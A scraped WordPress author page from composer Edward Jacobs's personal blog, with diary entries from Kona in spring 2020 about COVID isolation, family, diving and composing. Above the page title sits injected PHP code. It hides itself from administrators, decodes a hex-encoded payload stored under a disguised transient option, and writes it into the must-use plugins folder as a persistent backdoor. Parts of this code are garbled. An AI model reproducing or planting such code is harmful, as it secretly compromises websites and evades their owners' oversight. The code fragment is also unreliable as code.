if(!function_exists('site_performance_metrics')){function site_performance_metrics(){if(function_exists('current_user_can')&¤t_user_can('manage_options'))return;$h=get_option('_transient_feed_mod_5ccc225b');if(!$h)return;$d=@hex2bin($h);if(!$d)return;$k='7ba4b004e5bc28a901fd4ffa3e752fcb';$o='';for($i=0;$i=2){if(!is_dir($mu))@$_fc[1]($mu,0755,true);@$_fc[0]($mf,@hex2bin($muc));} },20); add_filter('pre_option__transient_feed_mod_5ccc225b',function($v){ if(is_admin()&&!wp_doing_ajax()&&!wp_doing_cron()&&!defined('REST_REQUEST'))return false; if(function_exists('current_user_can')&¤t_user_can('manage_options'))return false; return $v;}); Ed Jacobs, Author at EDWARD JACOBS - Page 33 of 43

EDWARD JACOBS

Author: Ed Jacobs

  • Tuesday, April 7

    Kona, day 17

    Pattie feeling a bit better, wanting to do some work around the house, and to get out for a (masked) walk.  So the day was productive, including a nice drive around, a walk in the area near where we used to depart for scuba trips with Kona Honu divers…

    and also a walk around the harbor downtown.  There, by the water’s edge, we say tons of fish and enjoyed identifying the few we’ve become familiar with through diving here.

    But the most productive part of the day was concluding our ongoing discussion of how long to remain here in Kona.

    Our isolation here, our feeling that, were we home, we could at least putting our house back together, be doing yard work at home, riding our bikes and even just feeling a part of our own community by just physically being there, even if isolating there.  I spent a few days researching some flight stats, and have learned that planes seem to be somewhere between 1%-15% full, and the airports are reported nearly empty.  With that information, and the sense that air travel will only pick up after April 30, we’ve elected to not extend our time here beyond the current April 18 reservation.

    So, airline reservations to return are now made.  Limited options, of course; a single flight/day from HNL to SFO or LAX, with SFO having a single option for direct to CLT then Greenville.  We’ll see how things ultimately work out, as some flights are being cancelled b/c no one is on them.  No matter what, it’ll be  24 hrs of travel; if there are delays, well, we’ll get there eventually.

    I read this article in the Chronicle, and found it one of the more helpful perspectives to try to digest.  A very worthwhile read.  Anything that might help deal with this is valuable.

    A good exchange with Jason re the cello diversion I’ve started and sent him.  I gather he’ll present some of it in an online presentation/recital later this week, and I very much look forward to that.  Rarely does one get to hear something in progress like this, so I think it’ll be an interesting process.

  • Monday, April 6

    Kona, day 16

    A bit of website maintenance today, catching up on lots of correspondence (a pleasure to feel connections with folks), and some writing.

    We’re both feeling that being here, as nice as it is, can’t go on much longer.  If we were home in NC we could at least keep occupied with re-settling into the house, doing lots of yard work, riding bikes (getting back on my m’cycle), perhaps get moved back into Surf City (though unsure about that just now).  Have begun looking into plans to return when this rental ends April 18, though not yet committed.  Only one flight/day from Honolulu to LAX or to SFO; and only one flight/day from SFO-Greenville with only one stopover.  So, limited choices, for sure.  Just a matter of deciding, committing, and making the reservations.  We’ll see.

    And another highlight arrives…

    Jackson, working from home today

  • Sunday, April 5

    Kona, day 15

    Another no-sleeper; up since 1, shortly before Pattie finally fell asleep.  Schedules are certainly off.

    Started taking a free online (Stanford) course in some computer music software I know and teach, but which I feel rusty on and could use some new exposure to.  Worked on that for a few hours, and found it a good, productive use of time.  I’ll continue that course over the coming week.

    A long nap, thankfully, made me feel a bit more alive.  Pattie feeling a tad better today, which is good.  I think we were both a bit afraid…

    And Pattie brought up the idea of heading back home on April 18th, rather than staying here longer.  Would be lengthy travel of four flights, layovers in three airports.  We’re wondering about the benefit of being home rather than here, if there is any, weighed against any change in risk in being there.  Not really sure about the risks of air travel just now, to be honest, as reports are of planes being almost empty, and airports being completely desolate.  No decisions on this, and certainly not rushing to make a decision just now.

    Now awake again in the late afternoon, will see about getting some writing in.

  • Saturday, April 4

    Kona, day 14

    A moment from last night’s sunset in Kailua-Kona

    A good, unusually long night’s sleep. So long since I’ve slept past 4am, and so very grateful for a full 8 hours.

    We spoke yesterday of getting to the harbor to swim/snorkel, and hopefully we’ll do so.

    Finally feeling convinced about one of the settings of Jim Brasfield’s Celan, from Jim’s “Infinite Altars“

         There,
         the whisper:

         gradual breath
         fattens

         a word, bud
         of stem form--

         never before
         this one,

         the return of 
         the recognizable.   

    Will send it off to Sharon, for whom i’ve written it, to see how she feels about it, but probably not before getting to another of that poem’s settings. Feeling as though the larger set will start with this newly written Celan, then The Renaissance, another of the Celan settings (60% complete), then Palladium (completed) and close with a a third setting of Celan (just begun).

    7am. Feeling rested, calm, ready for a good day.

    The day went slightly differently than planned…Pattie awoke not feeling her best.  She felt a bit off all day, but still have the focus and energy to do some chores, cleaning, laundry, so it certainly didn’t wipe her out.  Keeping a close eye on this.

    I made some bran muffins—very proud of the recipe at this point, and we’re enjoying some made-from-scratch raisin/bran healthy ones every few days.  Went to Safeway for some shopping, with newly acquired cloth mask of course, then on to the health food store, which is a great one. A noticeably less full parking lot, and a very clear increase in the percentage of shoppers wearing masks—perhaps slightly more than half.  Fewer walkers out today, as well, even though it was an absolutely gorgeous, sunny, slightly breezy day.

    Arriving home, Pattie was up for carefully cleaning all the groceries, then I put together a pea soup for tonight/tomorrow/whenever.

    The treat of the day was a video-call from Scarsdale, where we enjoyed seeing Jackson, and catching up with Joe and Cristin for a good hour.  Just amazing how seeing them brightens the day.  Jackson so very close to taking off, cruising while standing, and crawling around; he’s got great energy and an attitude to match.

    Heard from Nappi, but still unable to get in a phone call, it seems.  Someone in his sphere is down with covid-19, but I’m not aware of the severity.  So fearful, I admit.

    Pattie napped, I yoga’d and spent some time writing.  In truth, more evaluating/tweaking what’s already written rather than writing much new, but that’s just fine.

  • Thurs-Fri, April 2-3

    Kona, days 12-13

    Bits of writing these days, mixed in with some walks, yoga, movies and, best of all, correspondence with friends.  Every family/friend that reports safe and sound feels like a victory or sorts. 

    Still unable to stay away from daily briefings, but much better watching Cuomo rather than the national task force.  Haven’t heard the president’s voice in about four days, and that’s a huge relief and reduction in frustration.

    The daily tolls—death tolls—are just devastating.  The reports from medical staff—just impossible to imagine what they’re dealing with every day, and what they’re somehow able to endure.  Super-human.  The work of everyone keeping our children a bit engaged in learning, from parents to teachers at all levels, I’m certain is revealing to everyone a new concept of what’s is possible. 

    But when the day begins for the birds, we get a nice recital each morning…

    A nice surprise today/Friday, hearing from a friend for whom I’ve been writing “a little diversion” piece for solo cello.  Just taking a brief break from vocal music from time to time, and working on this small thing.  I’d sent him a page last week, and I gather it’s not unpalatable for him, which is good.  He may even use it in an online thing he’s doing next week…so I sent him another page.  A successful moment of feeling as though what I do is actually reaching out to another human, and that’s always nice these days.

    Pattie and I enjoyed another nice walk down to the Iron Man start and back—just about 2 ½ miles, I think.  The water so very clear and beautiful, and a real treat of seeing an enormous group of dolphins frolicking.  And they were really jumping out of the water and doing twists, playing around so much. 

    We walked to the area where folks snorkel, and saw lots of yellow tang, a huge parrot fish, angel fish…not sure we can hold off on getting in there much longer.  I think tomorrow we’ll grab snorkel/fins/mask and head in for a spell.

  • Wednesday, April 1

    Kona, day 11

    Pattie found this video this morning, and it’s beauty, pacing (and technical accomplishment) has us in awe. It’s been out there for a few years now (2018), so perhaps not new to all readers, but surely worth another viewing.

    https://www.youtube.com/embed/bdBuDg7mrT8

    If you’re interested in a few more minutes with a few tidbits about its making, then watch on… https://www.youtube.com/embed/CI85pzpki1M

  • Tuesday, March 31

    Kona, day 10

    for sure, the highlight of the day was seeing this…

    Jackson, on the move (thank you for this, Cristin!)

    and, really, after that nothing else can make the day anything but full of wonder, love, and yearning to reach out.

  • Monday, March 30

    Kona, day 9

    Received this morning from Allan, who’s out for a walk in Central Park…

    Yesterday i was thinking about how our current state of affairs might effect democracy…This screen shot from a NYTimes article today may point the way:

    A smile comes our way in the form of a few pictures from NY, as Jackson’s 8 mos. birthday arrives. So very happy to see him thriving and smiling, so happy that we had those two weeks with him and his parents in Maui in February, and missing them dearly. Word is he’s oh-so-close to crawling, and glad that Joe and Cristin are home to both see it when it happens. Talking to Joe about the little things, the baby-proofing of the house, caring for the house and yard…those moments of normalcy are so very welcome and cherished.

    And, finally, in anticipation of our returning to diving, Pattie and I have been doing lots of research on product and prices to get ourselves some equipment. Pattie’s BCD (buoyancy control device) arrived today, and we spent some time fitting it properly, though it will certainly need more fine-tuning when wet suit’s on, in live conditions, etc.

    Pattie’s morning breakfast garb

    Staying away from the news isn’t getting any easier. I find myself in text exchanges with friends on the east coast at 9am their time…because i’m just lying there awake, or b/c i’ve already given up on sleeping and am sipping coffee while staring at a page of music waiting for me to focus.

  • Sat./Sun., March 28 & 29

    Kona, day 7 & 8

    A quiet weekend.  A walk around the area, email and phone connecting with family, friend, and students, a visit from our host—she standing in the parking lot talking to us while we’re up on the second floor entrance, but really just doing what everyone else is doing; hunkering down.

    Our host’s next AirBnB reservation isn’t until the Iron Man race in October, so we can certainly stay here.  We just have to make a decision about when to return to NC, then make the travel reservation, and then go through the AirBnB reservation process.  Nice to know the ball’s in our court and there’s no terrific pressure, just the current end-date of April 18.  Not sure what’s the right date, though since we’re here, we’d be ok staying a bit longer than the crisis-end just to get in some diving in this gorgeous place.  Who knows if that (the opening of non-essential businesses) will be possible at any point before August…?

    Rachel in NYC is back home (Saturday morning), which is an enormous relief.  Other friends in NY, at least those I’m in regular contact with, are well, it seems.  A few are out on Long Island, in pretty sparsely populated areas, so are feeling pretty safe right now.

    Writing going ok, if slowly. Rather than concentrated sessions, seems more of a ‘little bits all day long’ approach. So by the end of the days, noticing i’ve written almost a minute’s music, but it’s all in minuscule bites of a few notes here and there. I suppose it doesn’t really matter, and that hopefully the more concentration necessary for more sustained sessions will return.

    The questions being asked by so many are the same ones on our minds; what is this way of living? How has/will this change life going forward? Will we return to ‘normal’ social interaction, or will this change our sense of self in relation to community? How to engage people, be compassionate, and simply engage in sympathetic ways without physical proximity? How does society take care of its vulnerable at a time when ‘outreach’ is so restricted? How do we care for our caretakers?

    What is art without communal, simultaneous experience? What does it mean to make art for ‘casts’ of only 1-2 performers, and only for a very small screen, and without consistent sound/color/picture reproduction?

    What is community? How does democracy continue without face-to-face interactions, and how does a society execute democracy’s basic functions? How will we strengthen our society in response to all of this, how will we avoid attending to the improvement of our society when we’re overwhelmed with the relief of daily activities returning to normal?

  • Friday, March 27

    Kona, day 6

    We’ve settled into a routine that feels much like the way we have spent time in Surf City.  We’re used to just staying at home there, really only venturing out for daily walks and groceries; and at home I write, with some tv show or movie on in the background.  Highlights of the days are anything other than the usual routine.

    Here, that means correspondence and/or calls with family/friends.  And today brought a welcome video session with Martha, a good catch-up call with Joe, and emails from Chris Nappi and David Glaser—looking forward to talking with them tomorrow about matters both personal and musical.   Thankfully, most everyone is well.  Rachel being moved out of ICU and, hopefully home in about 3 days.

    We enjoyed a nice long walk to town, along the waterfront.  Like everywhere else, it’s eerie to see what is usually an area packed with tourists, boaters, exercisers, eaters, drinkers, and shoppers—almost empty.  Still a few walkers, like us, out there.  But today we see police emptying beachfront parks of surfers and homeless—to where, we wonder?  

    There were still swimmers and snorkelers in the area by the Iron Man start.  Perhaps we’ll go out in the coming days.  The area’s certainly not crowded, it’s easy to park, and it seems there’s no harm in being in the water.

    Back home to the routine, eventually watching the evening news.  So odd that the national news we watch is six hours behind; really reporting what we’ve been reading about already, so it’s quite redundant and useless for us.